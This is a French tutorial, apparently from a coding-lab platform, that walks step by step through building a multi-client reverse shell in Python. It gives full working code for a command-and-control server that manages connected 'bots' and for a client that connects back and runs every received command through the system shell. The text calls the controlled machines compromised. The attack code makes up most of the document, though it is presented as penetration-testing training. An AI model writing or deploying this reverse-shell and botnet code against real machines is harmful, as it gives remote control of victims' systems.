Introduction
Dans ce projet, vous apprendrez à créer un reverse shell (shell inversé) en utilisant Python, ce qui permet de contrôler plusieurs machines compromises, également appelées « bots ». Contrairement aux shells traditionnels, un reverse shell initialise une connexion depuis le bot vers le contrôleur, permettant la gestion d'hôtes distants même derrière des pare-feu ou des dispositifs NAT. Cette méthode est largement utilisée en cybersécurité pour les tests d'intrusion et la gestion sécurisée d'environnements contrôlés.
Avant de passer à l'implémentation, il est important de comprendre les concepts fondamentaux de notre application de reverse shell, notamment l'architecture client-serveur (C/S) et le protocole TCP (Transmission Control Protocol).
L'architecture C/S implique un client qui demande des services et un serveur qui les fournit. Dans notre cas, les bots agissent comme des clients initiant des connexions vers notre serveur, nous permettant d'exécuter des commandes sur eux à distance.
Nous utiliserons TCP pour une communication fiable et orientée connexion entre le serveur et les clients. TCP garantit que les données sont livrées avec précision et dans l'ordre, ce qui est essentiel pour exécuter des commandes et recevoir des réponses sans erreurs.
👀 Aperçu

🎯 Tâches
Dans ce projet, vous apprendrez :
- Comment comprendre l'architecture client-serveur (C/S) et le protocole TCP comme base des communications réseau.
- Comment configurer un serveur qui écoute les connexions entrantes de plusieurs clients (bots).
- Comment créer des scripts clients qui se connectent au serveur et exécutent les commandes reçues.
- Comment implémenter l'exécution de commandes et la récupération de résultats sur le serveur pour interagir avec les clients connectés.
- Comment gérer simultanément plusieurs connexions clients et basculer entre elles pour envoyer des commandes.
🏆 Objectifs pédagogiques
Après avoir terminé ce projet, vous serez capable de :
- Démontrer votre maîtrise des bases du modèle client-serveur et de TCP pour une communication réseau fiable.
- Implémenter un serveur de reverse shell multi-clients en Python.
- Créer des scripts clients capables de se connecter à un serveur distant et d'exécuter des commandes envoyées par celui-ci.
- Gérer plusieurs connexions et la communication avec plusieurs clients dans un environnement contrôlé.
- Appliquer une expérience pratique en programmation réseau et comprendre ses applications en cybersécurité et en gestion de systèmes à distance.
Initialiser la classe Server
Dans le fichier nommé server.py, commencez par la structure de base de la classe Server.
import socket
import threading
class Server:
def __init__(self, host='0.0.0.0', port=7676):
self.host = host
self.port = port
self.clients = []
self.current_client = None
self.exit_flag = False
self.lock = threading.Lock()
La classe Server est conçue pour créer un serveur capable de gérer plusieurs connexions clients, communément appelés « bots » dans le contexte d'une application de reverse shell. Décomposons les composants et les fonctionnalités définis dans la méthode d'initialisation (__init__) :
- Instructions d'importation :
import socket: Importe le module intégrésocketde Python, qui fournit les fonctionnalités nécessaires aux communications réseau. Les sockets sont les points de terminaison d'un canal de communication bidirectionnel.import threading: Importe le modulethreading, permettant la création de plusieurs fils d'exécution (threads) au sein d'un processus. C'est essentiel pour gérer simultanément plusieurs connexions clients sans bloquer le flux d'exécution principal du serveur.
- Définition de la classe :
class Server:: Cette ligne définit la classeServer, qui encapsule les fonctionnalités requises pour les opérations côté serveur du reverse shell.
- Méthode d'initialisation (
__init__) :def __init__(self, host='0.0.0.0', port=7676):: Cette méthode initialise une nouvelle instance de la classeServer. Elle possède deux paramètres avec des valeurs par défaut :host='0.0.0.0': L'adresse hôte par défaut '0.0.0.0' est utilisée pour spécifier que le serveur doit écouter sur toutes les interfaces réseau disponibles. Cela rend le serveur accessible depuis n'importe quelle adresse IP de la machine.port=7676: Il s'agit du numéro de port par défaut sur lequel le serveur écoutera les connexions entrantes. Le choix du port 7676 est arbitraire et peut être modifié selon les besoins.
- Variables d'instance :
self.host: Stocke l'adresse hôte d'écoute.self.port: Stocke le numéro de port d'écoute.self.clients = []: Initialise une liste vide pour suivre les clients connectés. Chaque client sera ajouté à cette liste pour permettre une gestion multiple.self.current_client = None: Variable utilisée pour suivre le client actuellement sélectionné pour l'envoi de commandes.self.exit_flag = False: Ce drapeau contrôle la boucle principale du serveur. Le passer àTruesignalera au serveur de s'arrêter proprement.self.lock = threading.Lock(): Crée un verrou (lock), une primitive de synchronisation. Les verrous garantissent qu'un seul thread accède aux ressources partagées à la fois, évitant les conditions de concurrence.
Démarrer le serveur TCP
Implémentez la méthode run pour démarrer le serveur et écouter les connexions.
## continue in server.py
def run(self):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
server_socket.bind((self.host, self.port))
server_socket.listen(10)
print(f"Server listening on port {self.port}...")
connection_thread = threading.Thread(target=self.wait_for_connections, args=(server_socket,))
connection_thread.start()
while not self.exit_flag:
if self.clients:
self.select_client()
self.handle_client()
La méthode run est la partie de la classe Server qui lance le serveur TCP et commence à attendre les connexions entrantes des clients. Voici le détail du fonctionnement :
- Création d'un Socket :
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:: Crée un nouveau socket.socket.AF_INETspécifie l'adressage IPv4 etsocket.SOCK_STREAMindique un socket TCP pour une communication fiable.
- Liaison du Socket (Binding) :
server_socket.bind((self.host, self.port)): Associe le socket à l'interface réseau et au port spécifiés.
- Écoute des connexions :
server_socket.listen(10): Indique au socket de commencer à écouter. L'argument10définit la taille maximale de la file d'attente des connexions en attente.
- Message de démarrage :
print(f"Server listening on port {self.port}..."): Affiche un message confirmant que le serveur est opérationnel.
- Gestion des connexions entrantes :
connection_thread = threading.Thread(target=self.wait_for_connections, args=(server_socket,)): Initialise un nouveau thread pour exécuter la méthodewait_for_connections.connection_thread.start(): Lance le thread, permettant au serveur d'accepter des connexions en arrière-plan sans bloquer le reste du programme.
- Boucle principale du serveur :
while not self.exit_flag:: Cette boucle s'exécute tant que le serveur ne doit pas s'arrêter.if self.clients:: Si des clients sont connectés :self.select_client(): Permet à l'opérateur de choisir un client avec lequel interagir.self.handle_client(): Gère l'interaction (envoi de commandes et réception de réponses) avec le client sélectionné.
Cette structure permet au serveur de gérer plusieurs clients de manière non bloquante.
Accepter les connexions entrantes
Ajoutez la méthode wait_for_connections pour gérer les connexions clients entrantes sur un thread séparé.
## continue in server.py
def wait_for_connections(self, server_socket):
while not self.exit_flag:
client_socket, client_address = server_socket.accept()
print(f"New connection from {client_address[0]}")
with self.lock:
self.clients.append((client_socket, client_address))
La méthode wait_for_connections est conçue pour écouter et accepter en continu les connexions entrantes. Voici les détails :
- Boucle d'écoute continue :
while not self.exit_flag:: La boucle tourne tant que le serveur est actif.
- Acceptation des connexions :
client_socket, client_address = server_socket.accept(): La méthodeacceptattend une connexion. Lorsqu'un client se connecte, elle renvoie un nouvel objet socket représentant la connexion et un tuple contenant l'adresse IP et le port du client. Cette ligne est bloquante jusqu'à ce qu'une connexion arrive.
- Notification de connexion :
print(f"New connection from {client_address[0]}"): Affiche l'IP du nouveau client connecté.
- Gestion sécurisée des clients (Thread-Safe) :
with self.lock:: Utilise le verrou pour garantir un accès sécurisé à la listeself.clients. C'est crucial dans un environnement multi-thread pour éviter la corruption des données.self.clients.append((client_socket, client_address)): Ajoute le socket et l'adresse du client à la liste de suivi.
Cette méthode permet au serveur de gérer l'arrivée de nouveaux clients tout en effectuant d'autres tâches simultanément.
Implémenter les fonctions d'interaction client
Implémentez les fonctions pour sélectionner et interagir avec les clients connectés.
## continue in server.py
def select_client(self):
print("Available clients:")
for index, (_, addr) in enumerate(self.clients):
print(f"[{index}]-> {addr[0]}")
index = int(input("Select a client by index: "))
self.current_client = self.clients[index]
def handle_client(self):
client_socket, client_address = self.current_client
while True:
command = input(f"{client_address[0]}:~## ")
if command == '!ch':
break
if command == '!q':
self.exit_flag = True
print("Exiting server...")
break
client_socket.send(command.encode('utf-8'))
response = client_socket.recv(1024)
print(response.decode('utf-8'))
Les fonctions select_client et handle_client sont essentielles pour interagir avec les cibles.
Fonction select_client
Cette fonction liste tous les clients connectés et permet à l'opérateur d'en choisir un :
- Elle parcourt la liste
self.clientset affiche l'index et l'adresse IP de chaque bot. - L'opérateur saisit l'index souhaité.
self.current_clientest mis à jour avec le client choisi.
Fonction handle_client
Cette fonction facilite l'envoi de commandes et la réception de réponses :
- Elle entre dans une boucle infinie pour permettre l'envoi successif de commandes.
!ch: Commande spéciale pour quitter l'interaction actuelle et changer de client.!q: Commande spéciale pour arrêter complètement le serveur.client_socket.send(...): Envoie la commande encodée en octets (UTF-8) au client.client_socket.recv(1024): Attend la réponse du client (limité ici à 1024 octets).- La réponse est décodée et affichée dans la console du serveur.
Exécution du serveur
Ajoutez le point d'entrée pour instancier et lancer le serveur.
## continue in server.py
if __name__ == "__main__":
server = Server()
server.run()
Cette partie du script démarre le serveur lorsque le fichier est exécuté directement.
Création du client
Ensuite, créons le côté client (bot). Le client se connectera au serveur et exécutera les commandes reçues.
Dans le fichier client.py, ajoutez le contenu suivant :
import socket
import subprocess
import sys
import time
def connect_to_server(host, port):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.connect((host, port))
while True:
command = sock.recv(1024).decode('utf-8')
result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output = result.stdout.decode(sys.getfilesystemencoding())
sock.send(output.encode('utf-8'))
time.sleep(1)
if __name__ == "__main__":
HOST, PORT = "127.0.0.1", 7676
connect_to_server(HOST, PORT)
Le script client.py définit comment un bot se connecte au serveur :
sock.connect((host, port)): Établit la connexion vers le serveur.command = sock.recv(1024).decode('utf-8'): Attend de recevoir une commande.subprocess.run(command, shell=True, ...): Exécute la commande reçue sur le système local via le shell.output = result.stdout.decode(...): Récupère le résultat de l'exécution.sock.send(output.encode('utf-8')): Renvoie le résultat au serveur.time.sleep(1): Petite pause pour éviter de saturer les ressources.
Ce script transforme la machine sur laquelle il s'exécute en une cible contrôlable à distance.
Tester la configuration
Enfin, testons notre reverse shell pour nous assurer qu'il fonctionne comme prévu.
Lancement du serveur
Tout d'abord, exécutez le script server.py dans un terminal :
python server.py
Lancement du client
Ouvrez une deuxième fenêtre de terminal :

Exécutez le script client.py :
python client.py
Exécution de commandes
Revenez au terminal du serveur :

Vous devriez pouvoir sélectionner le client connecté et exécuter des commandes. Par exemple, essayez de lister le contenu du répertoire racine :
ls /
Vous devriez voir le résultat de la commande ls / exécutée sur la machine client s'afficher dans le terminal du serveur.

Résumé
Dans ce projet, vous avez appris à implémenter un reverse shell de base en Python, en exploitant l'architecture client-serveur et le protocole TCP pour la communication. Vous avez configuré un serveur capable d'écouter les connexions de plusieurs bots et de leur envoyer des commandes. Cette technique est une compétence fondamentale en programmation réseau et en cybersécurité, démontrant la puissance et la flexibilité de Python pour la gestion de systèmes à distance.



